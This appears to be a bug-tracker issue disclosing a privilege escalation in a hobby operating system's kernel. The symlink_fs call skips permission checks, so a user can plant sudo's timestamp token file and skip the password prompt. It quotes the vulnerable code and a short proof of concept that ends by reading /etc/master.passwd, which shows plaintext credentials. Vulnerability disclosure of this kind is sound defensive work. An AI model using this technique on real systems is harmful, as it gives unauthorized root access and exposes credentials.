Open
Description
Missing permission checks in symlink_fs lead to privilege escalation by creating a symbolic link at /var/sudoers/1000 pointing to a file with a recent timestamp.
sudo uses a token_file with a timestamp to check for previous sudo usages, so it does not prompt the user for a password all the time:
sprintf(token_file, "/var/sudoers/%d", me); /* TODO: Restrict to this session? */
if (need_password) {
struct stat buf;
if (!stat(token_file, &buf)) {
/* check the time */
if (buf.st_mtime > (SUDO_TIME) && time(NULL) - buf.st_mtime < (SUDO_TIME)) {
need_password = 0;
}
}
}
symlink_fs allows to create file anywhere, as long as it does not overwrite an existing file.
int symlink_fs(char * target, char * name) {
fs_node_t * parent;
char *cwd = (char *)(this_core->current_process->wd_name);
char *path = canonicalize_path(cwd, name);
char * parent_path = malloc(strlen(path) + 5);
snprintf(parent_path, strlen(path) + 4, "%s/..", path);
char * f_path = path + strlen(path) - 1;
while (f_path > path) {
if (*f_path == '/') {
f_path += 1;
break;
}
f_path--;
}
debug_print(NOTICE, "creating symlink %s within %s", f_path, parent_path);
parent = kopen(parent_path, 0);
free(parent_path);
if (!parent) {
free(path);
return -ENOENT;
}
int ret = 0;
if (parent->symlink) {
ret = parent->symlink(parent, target, f_path);
} else {
ret = -EINVAL;
}
free(path);
close_fs(parent);
return ret;
}
With the arbitrary file write using symlink_fs, we can create the /var/sudoers/1000
token_file and pass this check without entering the password.
The other filesystem related syscalls use a permission check function, which symlink_fs seems to be missing.
Line 509 in e03e2ff
Over all, the privilege escalation PoC looks as follows:
local@livecd ~$ sudo ls [12/30 17:32:52]
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
sudo: 3 incorrect password attempts
local@livecd 1 ~$ echo "hello" > test.txt [12/30 17:32:57]
local@livecd ~$ ln -s /home/local/test.txt /var/sudoers/1000 [12/30 17:33:05]
local@livecd ~$ sudo cat /etc/master.passwd [12/30 17:33:33]
root:toor:0:0:Administrator:/home/root:/bin/esh:fancy
local:local:1000:1000:Local User:/home/local:/bin/esh:fancy
guest:guest:1001:1001:Guest User:/home/guest:/bin/esh:fancy
local@livecd ~$ [12/30 17:33:39]
Metadata
Metadata
Assignees
Labels
No labels